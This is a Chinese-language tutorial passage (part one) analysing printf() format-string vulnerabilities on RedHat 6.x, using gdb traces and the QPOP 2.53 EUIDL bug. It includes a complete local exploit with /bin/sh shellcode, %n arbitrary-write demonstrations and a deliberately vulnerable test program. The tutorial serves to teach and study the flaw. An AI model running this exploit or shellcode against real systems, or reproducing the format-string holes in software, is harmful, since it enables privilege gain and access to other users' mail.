*printf()格式化串安全漏洞分析(上) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)
前言: ===== 最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函 数的格式 化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才 开始进行 一些深入的讨论。格式化串的问题实际上是由于程序员编程时的疏漏所导致的, 下面我们 就来看看具体是怎么回事。 关于格式化串 ============ *printf()函数包括printf, fprintf, sprintf, snprintf, vprintf,
vfprintf, vsprintf, vsnprintf等函数,它们可以将数据格式化后输出。以最简单的 printf()为例: int printf(const char *format, arg1,arg2,...); 通过定制format的内容(%s,%d,%p,%x...),用户可以将数据按照某种格式输出。问 题是, *printf()函数并不能确定数据参数arg1,arg2...究竟在什么地方结束,也就是说 ,它不知 道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数 format后面地址 的内容。先来看一个简单的例子: <- begin -> fmt_test.c #include <stdio.h> int main(void) { char string[]="Hello World!"; printf("String: %s , arg2: %#p , arg3: %#p\n", string); return 0; } <- end -> 上面的例子中我们其实只提供了一个数据参数"string",但在格式串中有三个打印 格式, 我们看一下运行的结果: [warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c [warning3@redhat-6 format]$ ./fmt_test String: Hello World! , arg2: 0x6c6c6548 , arg3: 0x6f57206f 我们来看一下arg2,arg3显示的是哪里的内容: [warning3@redhat-6 format]$ gdb ./fmt_test <...> (gdb) b printf Breakpoint 1 at 0x8048308 (gdb) r Starting program: /home/warning3/format/./fmt_test Breakpoint 1 at 0x40064f5c: file printf.c, line 30. Breakpoint 1, printf ( format=0x80484c0 "String: %s , arg2: %#p , arg3: %#p\n") at printf.c:30 30 printf.c: No such file or directory. (gdb) x/10x $ebp 0xbffffc88: 0xbffffca8 0x08048403 0x080484c0 0xbffffc98 0xbffffc98: 0x6c6c6548 0x6f57206f 0x21646c72 0x08049500 0xbffffca8: 0xbffffcc8 0x400301eb 我们看到printf()的第一个参数地址是$ebp+8,里面的内容是0x080484c0, (gdb) x/s 0x080484c0 0x80484c0 <_IO_stdin_used+60>: "String: %s , arg2: %#p , arg3: % #p\n" 这是我们的格式化串的地址 再来看我们要格式化输出的数据($ebp+12): (gdb) x/s 0xbffffc98 0xbffffc98: "Hello World!" 我们看到,紧接着下来的两个字的内容就是刚才的程序中显示的结果: $ebp+16: 0x6c6c6548 "Hell" $ebp+20: 0x6f57206f "o Wo" 从下面的示意图上可以看得更清楚一些: 栈顶 +------------+ | ...... | +------------+ 0xbffffc88| 0xbffffca8 | --------> 保存的EBP -- printf() +------------+ | 0x08048403 | --------> 保存的EIP -- printf() +------------+ format format-> | 0x080484c0 | --------> "String: %s , arg2: %#p , arg3: % #p\n"的地址 +------------+ arg1 | 0xbffffc98 | --------> "Hello World!"的地址 +------------+ | 0x6c6c6548 | --------> string[] = "Hell +------------+ | 0x6f57206f | --------> o Wo +------------+ | 0x21646c72 | --------> rld!" +------------+ | 0x08049500 | --------> '\0'xxx +------------+ 0xbffffca8| 0xbffffcc8 | --------> 保存的EBP -- main() +------------+ | 0x400301eb | --------> 保存的EIP -- main() +------------+ | ...... | +------------+ 栈底 我们可以看到,arg2,arg3所显示的其实是main()中数组strings中前两个字的内 容。 从上面这个简单的例子我们可以看到, *printf()只根据format中打印格式(%)的 数目来依次 显示堆栈中format参数后面地址的内容,每次移动一个字(4个字节). 由于我们上面的例子中出现了三个(%)号,所以它会依次打印三个地址的内容: format+4, format + 8, format + 12. (注意:并不是所有的%格式都是移动4个字节,例如%f就每次移动8个字节。如果 要覆盖的地址 距离比较远(比如2048字节),而%的个数又有所限制的话,使用%f可以较快的到达 "目的地", 只需要256个%f就可以了,%E也是如此) 正常情况下,由于format串通常是程序员自己来定制,很少出现上面那种情况, 而且即使 出现了,也并不会有什么大的安全问题。然而,如果format串是由用户提供的话 ,那么就 非常危险了!这种情况往往是由于程序员的疏忽导致的。最常见的情况是当需要 利用 vsprintf()等来构造自己的类printf()函数时,例如 mylog(LEVEL, "username = %s", username); 如果引用mylog时错误的使用了mylog(LEVEL,user_buf),而user_buf的内容又是用 户可以控 制的话,那么真正的危险就来了。 1. 问题一:格式化串导致的传统缓冲区溢出 ========================================== 我们以不久前发现的QPOP 2.53的例子来做一下详细的说明。 QPOP 2.53中pop_uidl.c中有个函数pop_euidl (p),用来完成EUIDL命令的功能,
它错误的 使用了pop_msg()函数: ....... pop_euidl (p) POP * p; { char buffer[MAXLINELEN]; /* Read buffer */ char *nl, *bp; MsgInfoList * mp; /* Pointer to message info list */ ...... if (mp->del_flag) { /* 注意: 这里使用pop_msg()的做法是正确的! 注意和下面那个 pop_msg()的用法 做一下比较。 */ return (pop_msg (p,POP_FAILURE, "Message %d has been marked for deletion.",msg_id)); } else { sprintf(buffer, "%d %s", msg_id, mp->uidl_str); if (nl = index(buffer, NEWLINE)) *nl = 0; /* 下面这个sprintf()将用户输入的数据拷贝到buffer中,由于限制了%s 的宽度, 因此不会发生缓冲区溢出 */ sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp)); /* 注意:这里直接将buffer作为第三个参数传递给pop_msg(),这是错误的! */ return (pop_msg (p,POP_SUCCESS, buffer)); } 我们再来看看pop_msg()函数,它在pop_msg.c中定义: ...... #define BUFSIZE 2048 ...... #ifdef __STDC__ /* 我们看到,pop_msg()的第三个参数是format串*/ pop_msg(POP *p, int stat, const char *format,...) #else pop_msg(va_alist) va_dcl #endif { #ifndef __STDC__ POP * p; int stat; /* POP status indicator */ char * format; /* Format string for the message */ #endif va_list ap; register char * mp; #ifdef PYRAMID char * arg1, *arg2, *arg3, *arg4, *arg5, *arg6; #endif char message[BUFSIZE]; /* 定义了一个BUFSIZE=2048大小 的缓冲区 */ #ifdef __STDC__ va_start(ap,format); ....... /* Point to the message buffer */ mp = message; /* mp指向message[]起始地址 */ ...... /* Append the message (formatted, if necessary) */ if (format) { #ifdef HAVE_VPRINTF /* 这里将变参ap按照format的格式输出到mp所指向的message[]中 注意,这里没有检查拷贝数据的大小! */ vsprintf(mp,format,ap); ..... 我们看到pop_euidl()中的buffer,本来应该出现在pop_msg()的第四个参数位置上 ,也就是 pop_msg()的ap所指向的内容,正确的格式应该象下面这样: pop_msg (p,POP_SUCCESS, "%s", buffer); 这样由于buffer的长度是有限制的,pop_msg()中的vsprintf()就不会产生溢出。 但由于程序员的疏忽,错误的将buffer放在了第三个参数的位置上,其实就是 pop_msg()中 format所指向的内容。而buffer中的部分内容是由用户提供的,因此如果用户输 入的数 据中包含某些特别的打印格式,就可能利用vsprintf()调用溢出message缓冲区。 那么具体如何来做呢?我们知道打印格式中有个重要的部分是打印宽度,例 如:%.20d,%20d %20s,%.20s等等。以printf("%.20d",num)为例,如果整数num的长度小于 20,printf()会在 它前面补零来使打印出来的长度为20,例如: printf("%.20d\n",12345); 打印结果如下: 00000000000000012345 这让我们想到,是否可以通过定义打印宽度来填充message缓冲区呢? 如果我们构造buffer的内容让它象这个样子: xxx%.2000d<RET><RET>...<RET> 那么vsprintf(mp,"xxx%.2000d<RET><RET>...<RET>",ap); 就可能使<RET>覆盖pop_msg()函数的返回地址,如果我们可以在<RET>这个地址中 放入shellcode ,就可能获得一个远程shell了。由于通常Qpoper没有丢弃mail组权限,因此我们 可以获得一个 gid=mail的shell,可以查看其他普通用户的邮件.... 为了达到我们的目标,我们需要做的事是: <1> 发一封邮件给要攻击的用户,在X-UIDL:域中放入我们的shellcode, 在From:域中放入%.2000d<RET><RET>...<RET> 注意这个<RET>的地址需要通过调试才能确定,它应该指向我们的shellcode 所在地址。 <2> 以该用户身份登陆QPOP server,执行EUIDL num命令,这里的num应该是我们 刚才发送 的那封特殊邮件的序号。 如果一切顺利的话,你就可以得到一个gid mail的shell了。 下面我们提供一个简单的测试程序,它会给你一个本地的gid mail shell: (你可能需要自己调整retloc以及POP *p的地址才能成功) <- begin -> qpop2.53_local.c /* QPOP 2.53 local exploit . * code based on the sample exploit by Prizm/b0f. * usages: * [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >/var/spool/mail/test * [test@redhat-6 /tmp]$ nc localhost 110 * * +OK QPOP (version 2.53) at localhost.localdomain starting. * user test * +OK Password required for test. * pass 123456 * +OK test has 1 message (307 octets). * euidl 1 * <...snip...> * id * uid=514(test) gid=12(mail) groups=12(mail) * [email protected] * y2k/5/28 */ #include <stdio.h> #include <string.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh...."; int main(int argc, char *argv[]) { int i; unsigned long ra=0; unsigned long p= 0xbffffdf8; if(argc<2) { fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]); exit(0); } sscanf(argv[1], "%x", &ra); /* 由于pop_msg()发生溢出后还需要一个有效的POP *p指针才能正确结 束,所以 * 我们必须要提供一个有效的地址 */ sscanf(argv[2], "%x", &p); if(!ra) return; if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) { fprintf(stderr,"Bad shellcode\n"); exit(0); } fprintf(stderr,"return address: 0x%.8x\n", ra); fprintf(stderr,"p address: 0x%.8x\n", p); printf("From root Sun May 28 17:29:37 2000\n"); printf("Date: Sun, 28 May 2000 17:29:37 +0800\n"); printf("From: %s", "%.500d%.500d%.500d%.398d"); for(i=0; i < 20; i++) printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24); /* 连续的返回地址 */ printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>>8, (p & 0xff0000) >>16, (p & 0xff000000)>>24);/* 有效的POP *p指针 */ printf ("\n"); printf ("Subject: haha\n"); printf ("Message-Id: <[email protected]>\n"); printf("X-UIDL: "); for(i=0; i < sizeof(shellcode);i++) printf("%c", shellcode[i]); printf("\n"); printf ("\n\n"); return 0; } <- end -> 2. 问题二:格式化串导致覆盖函数返回地址 ======================================== 我们再来看另外一个问题:%n的问题。 %n在格式化中的意思是将显示内容的长度 输出到一 个变量中去。通常的用法是这样的: <- begin -> n_test.c main() { int num=0x41414141; printf("Before: num = %#x \n", num); printf("%.20d%n\n", num, &num); printf("After: num = %#x \n", num); } <- end -> [warning3@redhat-6 format]$ ./n_test Before: num = 0x41414141 00000000001094795585 After: num = 0x14 我们看到,变量num的值已经变成了0x14(20),也就是说,因为我们的程序中将变 量num的地 址压入堆栈,作为printf()的第二个参数,%n会将打印总长度保存到对应参数的 地址中去。 那么如果我们不将num的地址压入堆栈会发生什么事情呢? [warning3@redhat-6 format]$ vi n_test.c
<- begin -> n_test1.c main() { int num=0x41414141; printf("Before: num = %#x \n", num); printf("%.20d%n\n", num); /* 注意,我们没有压num的地址入栈 */ printf("After: num = %#x \n", num); } <- end -> [warning3@redhat-6 format]$ ./n_test1 Before: num = 0x41414141 Segmentation fault (core dumped) <--- 在执行第二个printf()时就发生 段错误了 [warning3@redhat-6 format]$ gdb ./n_test core GNU gdb 4.18 <...> #0 0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d% n\n", ap=0xbffffca8) at vfprintf.c:1212 1212 vfprintf.c: No such file or directory. (gdb) x/i $pc <--- 我们看看下一条指令是什么 0x4005d897 <_IO_vfprintf+2455>: mov %eax,(%ecx) <--- 将%eax的值填 到%ecx中 的地址去 (gdb) i r $ecx <--- 目的地址是 0x41414141 ecx 0x41414141 1094795585 (gdb) i r $eax eax 0x14 20 <--- 填充内容是 0x14(20) (gdb) 很明显,这就是在执行%n操作的时候发生了段错误,0x41414141肯定是不能访问 的。我们 注意到num的初始值就是0x41414141,两者是不是有什么联系呢?其实从前面关于 fmt_test.c 的讨论我们就应该可以看出来,printf()将堆栈中main()函数的变量num当作了%n 所对应的 参数,因此会将0x14保存到0x41414141中去。聪明的读者应该可以想到,如果我 们可以控制 num的内容,那么不就意味着可以修改任意地址(当然是允许写入的地址)的内容 了?是的。 我们首先想到的是覆盖函数的返回地址,让我们修改一下程序: <- begin -> n_test2.c main() { int num=0xbffffcbc; printf("Press Any Key to Continue...\n"); getchar(); printf("Before: num = %#x \n", num); printf("%.1094795585u%n\n", num); /* 1094795585 = 0x41414141 */ printf("After: num = %#x \n", num); } <- end -> 这里的num的值是main()函数的返回地址,我们的目的是将0x41414141覆盖main()
函数 的返回地址,这样从main()函数返回时就会跳到0x41414141去运行,当然这会导 致段错 误,这里只是举个例子而已。 至于getchar()的作用,纯粹是为了调试方便,一会你就会明白为什么要加这个东 西。 细心的读者可能会发现我将%d换成了%u,这是因为如果要 打印的值为负数,printf会自动在前面加上一个'-'号,这样实际的打印结果长度 就要 加上一,在这个例子中,我们就可能跳到0x41414142去了,当然这里对我们并没 有什么 影响,如果我们有很多%d,例如:"%d%d%d...%d%d",我们就不能简单的根据"%d"的 个数来 计算显示结果的长度,还要考虑可能的'-'号数目。为了简便起见,我们用%u来显 示,它 会按无符号整数来显示结果,就不用考虑'-'号的情况。 让我们来看看运行结果,这是在一台RedHat 6.1下运行的结果: [warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c [warning3@redhat-6 format]$ ./n2 Press Any Key to Continue... 这时我们再开一个终端[tty2]来调试: <在终端tty2上> [warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'` GNU gdb 4.18 <......> Attaching to program: /home/warning3/format/./n2, Pid 28428 Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. 0x400bcdb4 in __libc_read () from /lib/libc.so.6 (gdb) bt #0 0x400bcdb4 in __libc_read () from /lib/libc.so.6 #1 0x4010648c in __DTOR_END__ () from /lib/libc.so.6 #2 0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385 #3 0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371 #4 0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328 #5 0x4006af56 in getchar () at getchar.c:37 #6 0x8048417 in main () at n_test2.c:6 (gdb) i f 6 Stack frame at 0xbffffcb8: eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb caller of frame at 0xbffffcac source language c. Arglist at 0xbffffcb8, args: Locals at 0xbffffcb8, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffffcb8, eip at 0xbffffcbc ---> 这是main函数保存返回地 址的地方, 也是num初始值 (gdb) c ---> 让跟踪的程序继续运行 Continuing. 现在我们再切换到原先的终端上,继续执行我们的程序: [warning3@redhat-6 format]$ ./n2 Press Any Key to Continue... ---> 按一下回车 Before: num = 0xbffffcbc 我们再切到tty2来看发生了什么: (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. ---> 发生了段访问 错误 0x4005dff0 in _IO_vfprintf (s=0x40104c60, format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259 1259 vfprintf.c: No such file or directory. (gdb) x/6i $pc ---> 看看我们要执行什么命令了 0x4005dff0 <_IO_vfprintf+4336>: movb $0x30,(%esi) 0x4005dff3 <_IO_vfprintf+4339>: dec %esi 0x4005dff4 <_IO_vfprintf+4340>: mov 0xfffffad8(%ebp),%eax 0x4005dffa <_IO_vfprintf+4346>: decl 0xfffffad8(%ebp) 0x4005e000 <_IO_vfprintf+4352>: test %eax,%eax 0x4005e002 <_IO_vfprintf+4354>: jg 0x4005dff0 <_IO_vfprintf+4336> (gdb) i r $esi esi 0xbfffdfff -1073750017 (gdb) i r $eax eax 0x41412b43 1094789955 ----> 还有0x41412b43个'0'要 填充 (gdb) x/200x $esi 0xbfffdfff: 0x30303000 0x30303030 0x30303030 0x30303030 0xbfffe00f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe01f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe02f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe03f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe04f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe05f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe06f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe07f: 0x30303030 0x30303030 0x30303030 0x30303030 0xbfffe08f: 0x30303030 0x30303030 0x30303030 0x30303030 <....> 我们看到这几句程序将0x30('0')往堆栈顶端(低地址方向)中填充,实际上就是为 显示 "%.1094795585u"中指定的'0'做准备。好像堆栈太小了,不足以存放这么多'0', 让我们 再来看看./n2执行时的内存映射: ^Z [1]+ Stopped gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'` [warning3@redhat-6 format]$ cat /proc/28428/maps 08048000-08049000 r-xp 00000000 03:06 168475 /home/warning3/format/n2 08049000-0804a000 rw-p 00000000 03:06 168475 /home/warning3/format/n2 40000000-40012000 r-xp 00000000 03:06 144892 /lib/ld-2.1.2.so 40012000-40013000 rw-p 00012000 03:06 144892 /lib/ld-2.1.2.so 40013000-40015000 rw-p 00000000 00:00 0 40018000-40103000 r-xp 00000000 03:06 144899 /lib/libc-2.1.2.so 40103000-40107000 rw-p 000ea000 03:06 144899 /lib/libc-2.1.2.so 40107000-4010b000 rw-p 00000000 00:00 0 bfffe000-c0000000 rwxp fffff000 00:00 0 从上面我们可以看到可写的堆栈段是从bfffe000-c0000000之间的地址空间,而前 面的语句 要将0x30('0')写入0xbfffdfff,这个地址已经不在堆栈段中,因此会发生段访问 错误。程 序也就执行不下去了。因此,在RedHat 6.1中,我们不能简单的直接用%.RET%n的 方式来覆 盖函数返回地址,因为通常RET都是在堆栈段中,即通常大于0xbfff0000,这是个 相当大的数 值,RedHat 6.1的glibc中的vfprintf()不能正常显示这么多的'0',而RedHat 6.2 中的glibc 所带的vfprintf()则可以,也就是说,上面的程序在RedHat 6.2下,这条语句: printf("%.1094795585u%n\n", num); 可以正常结束,然后main()的返回地址被覆盖成0x41414141。 但是我并不建议读者直接在RedHat 6.2下运行这个程序,因为它会打印非常多的 0,你需要 有足够的耐心才能等待它结束. :-) <1> 攻击方法一:直接覆盖返回地址 ================================= 我们看另外一个简单的问题程序,我们会先在RedHat 6.2上进行攻击测试: <- begin -> vul.c
/* A simple vulnerable example for format bug. * [email protected] */ #include <stdarg.h> #include <unistd.h> #include <syslog.h> #define BUFSIZE 1024 int log(int level, char *fmt,...) { char buf[BUFSIZE]; va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf)-1, fmt, ap); buf[BUFSIZE-1] = '\0'; syslog(level, "[hmm]: %s", buf); va_end(ap); } int main(int argc, char **argv) {
char buf[BUFSIZE]; int num,i; num = argc ; if(argc > 1) { for ( i = 1 ; i < num ; i ++ ) { snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv [i]); buf[BUFSIZE-1] = '\0'; log(LOG_ALERT, buf); // 这里有问题 printf("argv[%d] = %s \n", i, argv[i]); } } } <- end -> 这个有问题的程序在调用子函数log()的时候,错误的将buf放到了*fmt所对应的 位置上, 而buf的内容中的一部分是用户输入的,而且没有做任何检查。虽然程序其余地方 都比较 小心地使用了vsnprintf(),snprintf(),不会发生通常的缓冲区溢出问题。但这个 格式化 串的错误也将是致命的。 我们先来分析一下如何进行攻击。我们看到main()函数会将命令行参数拷贝到buf 中去。 前面还加上了"argv[%d] = "字符串,在参数个数小于10的情况下,这个字符串的 长度为 10字节。我们考虑构造这样的字符串作为命令行参数: "align|RET|%d%d...%.SH_RETd|%n" "align": 用来调整buf开头的数据长度为4的整数 "RET": 是main()或者log()函数的返回地址位置,我们会将shellcode的地址 放到RET中去, "SH_RET": 我们存放shellcode的地址 "%d...%d": 这些%d用来使%n所对应的地址刚好是储存RET的地址 我们来看看在第一次调用log()时,堆栈中的情况 保存ebp 保存eip 参数1 参数2 变量i 变量num 缓冲区buf ----------------------------------------------------------------------- | EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = "| argv[1] | ----------------------------------------------------------------------- ^ ^ |__fmt |__ap 低址 ---------------------->----------------------------------> 高址 在执行完 va_start(ap, fmt) 后,变参指针ap指向fmt的下一个地址,也就是 main() 函数局部变量i的地址,如果我们提供的argv[1]的是这样的字符串: "xxabcd%d%d%d%d%d%p" 那么堆栈中的情况就是这样: 保存ebp 保存eip 参数1 参数2 变量i 变量num 缓冲区buf ----------------------------------------------------------------------
---------- | EBP | EIP |LOG_ALERT| &buf | i | num |"argv[1] = xx"|"abcd"|%d% d%d%d%d%p| ---------------------------------------------------------------------- ---------- ^ ^ 4B 4B 12B ^ RET | |__fmt |__ap |__________________| 低址 ---------------------->----------------------------------> 高址 因为"argv[1] = "长是10字节,我们用两个字节"xx"来使其变成4的整数倍:12字 节。因此, 从变量i的地址到"abcd"之间共有4+4+12=20字节,20/4=5,因此我们需要用5个%d 来对应这5 个地址,这样最后一个格式化串%p就对应了"abcd"的地址,因此打印出来应该是: "0x64636261" [root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p argv[1] = xxabcd%d%d%d%d%d%p [root@rh62 format]# tail -1 /var/log/messages Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493 0x64636261 注意最后的0x64636261,这说明我们前面的分析是正确的。如果我们将%p换成% n,vsnprintf ()就会将打印长度存放到0x64636261中去,当然这肯定会导致段错误 [root@rh62 format]# gdb ./vul GNU gdb 19991004 <...> (gdb) r xxabcd%d%d%d%d%d%n Starting program: /root/./vul xxabcd%d%d%d%d%d%n Program received signal SIGSEGV, Segmentation fault. 0x400622b7 in _IO_vfprintf (s=0xbffff224, format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748) at vfprintf.c:1212 1212 vfprintf.c: No such file or directory. (gdb) x/i $pc 0x400622b7 <_IO_vfprintf+2455>: mov %eax,(%ecx) (gdb) i reg $eax $ecx eax 0x2f 47 ecx 0x64636261 1684234849 (gdb)
我们看到,eax中保存的是打印的总长度:47, vsnprintf()在将这个值保存到$ecx 中去时 发生了段错误。如果我们将RET换成保存main函数返回地址的地址,就会将这个长 度存放 到那里去,如果这个长度的值刚好等于我们存放shellcode的地址,那么当main() 返回时 就会跳到我们的shellcode去运行了。 (待续) 
|